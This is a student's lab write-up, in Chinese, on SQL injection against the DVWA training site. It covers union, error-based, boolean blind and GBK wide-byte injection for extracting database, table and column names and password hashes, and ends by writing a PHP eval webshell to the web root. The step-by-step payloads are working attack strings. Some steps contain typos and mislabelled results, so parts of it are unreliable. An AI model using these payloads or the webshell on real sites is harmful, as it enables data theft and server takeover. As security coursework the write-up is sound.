SQL注入
作业
1、分别在前端和后端使用联合注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。
UNION操作符选取不重复的值。如果允许重复的值,使用UNION ALL
我们在进行SQL注入要有一个流程
1.判断是否存在注入,注入是字符型还是整数型
2.猜解sql查询语句中的字段数(用order by)
3.确定显示位
4.获取当前数据库(爆库)
5.获取数据库中的表(爆表)
6.获取表中的字段名(爆字段)
7.下载数据(爆数据)
在如何使用联合注入(union)进一步获取数据库名,表名,字段名以及字段里面的数据,我们要知道MYSQL5.0以上的版本,存在一个
自带的数据库 (information_schema)
information_schema 数据库中有三张表很重要
schemata:表里面包含所有数据库的名字
TABLES:表里面包含所有数据库的所有表
COLUMNS:表里面包含所有数据库的所有表的所有字段
三个列也很重要
TABLE_SCHEMA:数据库名
TABLE_NAME:表名
COLUMN_NAME:字段名
在前端进行DVWA的联合注入
一 ,我们已经知道在dvwa中存在具有隐式转换的数字型注入
二,我们要确认查询语句中的字段数
1' oder by 1# 可以查询
1' oder by 2# 可以查询
1' oder by 3# 报错
根据下面三张图片可以得出 sql查询语句中的字段数位2
三,确定显示位
1' union select 1,2#
四, 获取当前的数据库
1' union select database(),version()# 获取数据库名和版本信息
五,获取数据库中的表(爆表)
group_concat()函数将组中的字符串连接成为单个字符串
1' union select 1, group_concat(table_name) from information_schema.tables where table_schema = "dvwa"#
根据下面图片得出 爆出了两张表 guestbook,users
六,获取表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_schema = "dvwa" and table_name = "users"#
根据下面图片爆出了下面的字段名
七,获取具体的数据
1' union select user_id, first_name from users#
也可以爆出user and password
1' union select user, password from users# 密码是MD5 加密后生成的 32 位十六进制哈希值
在后端进行联合注入
在这个前提,我们要进入dvwa的mysql
一, docker exec -it 10894c285b43 bash
二, mysql
源代码 SELECT first_name, last_name FROM users WHERE user_id = '$id';
一,我们已经知道dvwa存在具有隐式转换的数字型注入
二,我们确认查询语句中的字段数
select first_name, last_name from users where user_id = 1 order by 1; 能查询
select first_name, last_name from users where user_id = 1 order by 2; 能查询
select first_name, last_name from users where user_id = 1 order by 3; 查询不了
三,确定显示位
select first_name, last_name from users where user_id = 1 union select 1, 2;
四, 获取当前的数据库
select first_name, last_name from users where user_id = 1 union select 1,database();
五,获取数据库中的表(报表)
select first_name, last_name from users where user_id = 1 union select 1, group_concat(table_name) from information_schema.tables where table_schema = "dvwa";
六,获取数据表中的字段
select first_name, last_name from users where user_id = 1 union select 1, group_concat(column_name) from information_schema.columns where table_schema = "dvwa" and table_name = "users";
七,获取具体的数据
select first_name, last_name from users where user_id = 1 union select user, password from users;
2、分别在前端和后端使用报错注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。
回答下列关于报错注入的问题:
(1)在extractvalue函数中,为什么'~'写在参数1的位置不报错,而写在参数2的位置报错?
~字符(十六进制为0x7e)可以用来绕过单引号限制
在mysql的extractvalue函数中,~符号作为参数时的行为差异取决于它在参数列表中的位置,在extractvalue(xml_document, xpath_string),在第一个参数xml_document中,~在这里视为一个非标注的xml片段,mysql会尝试解析为xml,但这不是有效的xml,不会立即报错,在第二个参数xpath_string中共,代表的时xpath表达式,他会让xpath解析器立即识别出这是无效表达式并报错。总之,xml解析相对宽松,可以接受非标准输入而不立即报错,xpath解析器有严格的语法检查,会验证表达式的有效性
参数1 代表文件名可以有“~”,参数2代表路径不可以“~”
(2)报错注入中,为什么要突破单引号的限制,如何突破?
当我们输入的数据被包含在单引号内作为字符串时,如果不突破单引号限制,那么输入的内容只能作为一个普通的字符串常量使用,如果单引号被严格过滤或转义时用“~”,可以利用其他字符来代替单引号的部分功能。~字符(16进制为0x7e)可以作为绕过单引号限制。数据库会返回包含错误信息的结果。而这些错误信息中可能包含我们想要获取的敏感信息。比如,数据库名,列表,数据等
(3)在报错注入过程中,为什么要进行报错,是哪种类型的报错?
一,绕过无回显的限制 (攻击者可以利用这些错误信息直接获取数据库内容,无需依赖布尔判断)
二,提高攻击效率 (报错注入可以一次性返回整个查询结果)
三,绕过waf (某些 WAF 会检测 AND 1=1、UNION SELECT 等常见注入模式,但可能忽略 故意构造的错误查询。
报错注入的语法(如 floor()、extractvalue()、updatexml())可能被 WAF 误认为是合法查询)
报错注入有extractvalue()函数和updatexml()函数,报错是通过错误信息中可能包含我们想要获取的敏感数据,如数据库表名、列名等,语法报错
报错注入运用三个函数
extractvalue()函数,此函数从目标XML中返回包含查询值的字符串。语法:extractvalue(XML_document,xpath_string)
第一个参数:string格式,代表XML文档对象的名称
第二个参数:string格式,需满足xpath语法格式(如//title) ,代表XML文档的路径
函数会依据xpath表达式从xml片段中提取对应的值
concat()函数:将多个字符串连接成一个字符串
group_concat():讲分组后的多行数据合并成一个字符串
一,爆库名:
前端:
1' and extractvalue(1,concat(0x7e,database()));#
后端:
select first_name, last_name from users where user_id = 1 and extractvalue(1,concat(0x7e, database()));
二,爆表名:
前端:1' and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = "dvwa")));#
后端:select first_name, last_name from users where user_id = 1 and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = "dvwa")));
三,爆字段:
前端:1' and extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema = "dvwa" and table_name = "users")));# 这样很经典,但是列名显示不全在前端
select * from table limit m,n ,其中 m 是指记录开始,从 0 开始,表示第一条记录; n是指从第 m+1 条开始,取 n 条。
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)));# 这样也行
后端:select first_name, last_name from users where user_id = 1 and extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema = "dvwa" and table_name = "users")));
select first_name, last_name from users where user_id = 1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)));
四,爆数据
前端:1' and extractvalue(1,concat(0x7e, (select user from users where user_id = 1)));#
1' and extractvalue(1,concat(0x7e, (select password from users where user_id = 1)));#
后端:select first_name, last_name from users where user_id = 1 and extractvalue(1,concat(0x7e, (select user from users where user_id = 1)));
select first_name, last_name from users where user_id = 1 and extractvalue(1,concat(0x7e, (select password from users where user_id = 1)));
3、任选布尔盲注或者时间盲注在前端和后端实现“库名-表名”的注入过程,写清楚注入步骤。
盲注掌握的函数:
count() 返回查询信息的个数
length() 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
ascii() 返回字符的ascii码
sleep() 将程序挂起一段时间
盲注:一种数据库注入攻击方式,攻击者利用应用程序对用户输入验证不足的漏洞,通过向目标数据库发送精心构造的恶意sql语句,在不直接获取
数据库响应结果的情况下,通过观察数据库的行为或响应来获取敏感信息
布尔盲注:基于布尔型sql盲注即在sql注入过程中,应用程序仅仅返回True或false,没有之前的查询信息或者报错信息。
时间盲注: 利用数据库在执行某些操作时的时间延迟来获取信息,攻击者构造的sql语句会让数据库在满足特定条件下执行一个耗时的操作。
布尔盲注实现DVWA爆破
一。爆库
输入:1
不管输入框输入什么内容,页面上只会返回以下两种情形的提示:满足查询条件则返回"User ID exists in the database.",不满足查询条件则返回"User ID is MISSING from the database.";两者返回的内容随所构造的真假条件而不同,说明存在SQL盲注。
猜解当前数据库名称: 运用二分法
1' and length(database())>10;# misssing
1' and length(database())>5;# misssing
1' and length(database())>3;# misssing
1' and length(database())=4;# exits 可知数据库长度为4
substr(strings|express,num start,num length);
strings|express:被截取的字符串或字符串表达式;start为起始位置;length为长度
1' and ascii(substr(database(),1,1))>88;# exits
1' and ascii(substr(database(),1,1))>99;# exits
1' and ascii(substr(database(),1,1))>100;# missing
1' and ascii(substr(database(),1,1))=100;# exits 数据库名称的首位字符对应ascii码为100,查询字母为d
1' and ascii(substr(database(),2,1))>88;# exits
1' and ascii(substr(database(),2,1))>115;# exits
1' and ascii(substr(database(),2,1))>118;# missing
1' and ascii(substr(database(),2,1))=118;# exits 第二位字符为v
1' and ascii(substr(database(),3,1))>118;# exits
1' and ascii(substr(database(),3,1))>119;# missing
1' and ascii(substr(database(),3,1))=119;# exits 第三位字符位w
1' and ascii(substr(database(),4,1))>97;# missing
1' and ascii(substr(database(),4,1))=97;# exits 第四位字符为 a
猜表明:
猜表的个数:
1' and (select count(table_name) from inforamtion_schema.tables where table_schema=database())>10;# missing
1' and (select count(table_name) from inforamtion_schema.tables where table_schema=database())>5;# missing
1' and (select count(table_name) from inforamtion_schema.tables where table_schema=database())>3;# missing
1' and (select count(table_name) from inforamtion_schema.tables where table_schema=database())>2;# missing
1' and (select count(table_name) from inforamtion_schema.tables where table_schema=database())>1;# exits
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2;# exits
因此表的个数为2
猜解数据库中第一张表的字符长度 9
1' and length((select table_name from information_schema.tables where
table_schema=database() limit 0,1))>10;# MISSING
1' and length((select table_name from information_schema.tables where
table_schema=database() limit 0,1))>5;# exists
1' and length((select table_name from information_schema.tables where
table_schema=database() limit 0,1))>8;# exists
1' and length((select table_name from information_schema.tables where
table_schema=database() limit 0,1))=9;# exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103;# exists 猜解第一个表名的第一个字符长度是否为:g
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # exits 猜解第一个表名的第二个字符长度是否为:u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 # exits 猜解第一个表名的第三个字符长度是否为:e
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101 # exits 猜解第一个表名的第四个字符长度是否为:s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=115 # exits 猜解第一个表名的第五个字符长度是否为:t
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=116 # exits 猜解第一个表名的第六个字符长度是否为:b
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))=98 # exits 猜解第一个表名的第七个字符长度是否为:o
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7,1))=111 # exits 猜解第一个表名的第八个字符长度是否为:o
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),8,1))=111 # exits 猜解第一个表名的第九个字符长度是否为:k
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9,1))=107 # exits
从而dvwa数据库第一张表的名称为:guestbook
猜解字段:
以dvwa的users表为例子:
首先猜解字段个数 8
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>10;# MISSING
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>5;# exists
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>8;# MISSING
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8;# exists
各个字段的名称 猜解第一个字段名:user_id
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 猜解第一个字段名的第一个字符为:u
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))=117 # 猜解第一个字段名的第二个字符为:s
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),2,1))=115 # 猜解第一个字段名的第三个字符为:e
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),3,1))=101 # 猜解第一个字段名的第四个字符为:r
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),4,1))=114 # 猜解第一个字段名的第五个字符为:_
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),5,1))=95 # 猜解第一个字段名的第六个字符为:i
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),6,1))=105 # 猜解第一个字段名的第七个字符为:d
其余的字段也是这样
猜解具体的数据:
user数据:
1' and length((select user from users limit 0,1))>10;# MISSING
1' and length((select user from users limit 0,1))>5;# MISSING
1' and length((select user from users limit 0,1))>3;# exists
1' and length((select user from users limit 0,1))=4;# MISSING
1' and length((select user from users limit 0,1))=5;# exists
user字段中第1个字段值的字符长度=5,再使用ascii码的方式逐个爆破字符,步骤和上面一样,不再演示。
password数据:
1' and length(substr((select password from users limit 0,1),1))>10;# exists
1' and length(substr((select password from users limit 0,1),1))>20;# exists
1' and length(substr((select password from users limit 0,1),1))>40;# MISSING
1' and length(substr((select password from users limit 0,1),1))>30;# exists
1' and length(substr((select password from users limit 0,1),1))>35;# MISSING
1' and length(substr((select password from users limit 0,1),1))>33;# MISSING
1' and length(substr((select password from users limit 0,1),1))=32;# exists
password字段中第1个字段值的字符长度=32,猜测这么长的密码位数,可能是用来md5的加密方式保存,通过手工猜解每位数要花费的时间更久了
然后继续利用以上方法( substr + ascii )猜出密码就可以了,最终密码为 password
将以上【admin + password】填写到前台登录界面的输入框中,尝试登录是否成功。
4、利用宽字节注入实现“库名-表名”的注入过程,写清楚注入步骤;
什么是宽字节注入
1、如果一个字符的大小是一个字节的,称为窄字节;
2、如果一个字符的大小是两个及以上字节的,称为宽字节;
像GB2312、GBK、GB18030、BIG5、Shift_JIS等编码都是常见的宽字节字符集。英文默认占一个字节,中文占两个字节。
原理: 宽字节注入利用MySQL的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字。
在进行注入时,我们要知道,SQL注入非常关键的一步就是让引号闭合和跳出引号,无法跳出引号,那么输入的内容就永远在引号里,即永远是字符串,无法实现SQL注入。网站开发者也想到了这一步,于是做个防护措施:转义,对输入的敏感内容、特殊字符进行转义。
宽字节注入利用MySQL的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字。
addslashes()函数
1、addslashes() 函数会在预定义字符之前添加反斜线 \ 进行转义
2、预定义字符:单引号 ' ,双引号 " ,反斜线 \ ,NULL
所谓的转义是指:预定义字符在加上反斜线之后,就已经不具备其原有的语法功能了(即:预定义字符就仅仅是一个普通的字符串了)。
字符型的注入点我们都是用单引号来判断的,但是当遇到addslashes() 函数时,单引号会被转义,导致我们用来判断注入点的单引号失效。 所以我们的目的就是使转义符 \ 失效、使单引号逃逸。
%27 是 URL 编码(Percent-Encoding) 中对单引号(')的编码表示形式
%5c 是反斜杠 \
1)kobe%df' or 1=1# //用户在前端输入
2)kobe%df' or 1=1# //addslashes()函数对用户输入进行检测,在单引号前面添加转义符\
kobe%df%5c%27 or 1=1# //转义符 \ 编码成为%5c%df%5c = 運 //到达数据库,GBK编码
3)kobe運' or 1=1#
select id,email from member where username='kobe運' or 1=1#' //从单引号中逃逸出来
原理:前端输入 %df%27 时首先经过 addslashes() 函数转义变成了 %df%5c%27 ( %5c 是反斜杠 \ ),
之后在数据库查询前因为设置了GBK编码,即在汉字编码范围内两个字节都会被重新编码为一个汉字。
然后MySQL服务器就会对查询语句进行GBK编码,即 %df%5c 转换成了汉字"運",使得单引号成功逃
逸,进而实现SQL注入漏洞。
打开burp,在输入框中输入kobe%df' or 1=1# ,抓包会被转义, 在数据包中把转义的修改回去,把包放过去,就会出现所有的username
在burp输入 :%df'union select database(),version()#
在burp输入:%df' union select 1,(table_name) from information_schema.columns where table_schema=database() #
5、利用SQL注入实现DVWA站点的Getshell,写清楚攻击步骤;
Mysql支持向外写文件(这里的“外”是指服务器内部),需要用到 select into outfile 命令:在Mysql数据库中存在 select into outfile 命令,该命令的作用是将被选择的一行代码写入一个文件中,文件被创建到服务器上。其中,select into outfile的使用前提是:
(1)要知道网站的绝对路径,可以通过开源程序、报错信息、phpinfo界面、404界面等一些方式知道;
(2)对目录要有写权限,一般image之类的存放图片的目录有写权限;
(3)要有mysql file权限(即能否对系统的文件读取和写操作),默认情况下只有root权限有;还要注意:写的文件名一定是在网站中不存在的,不然会失败。
我们使用into outfile 写入一句话木马,文件名为shell2.php:
1' union select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/shell2.php'#
当然了有个前提: dvwa的等级要调为低等级
1' union select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/shell2.php'#
然后拿到蚁剑 进行连接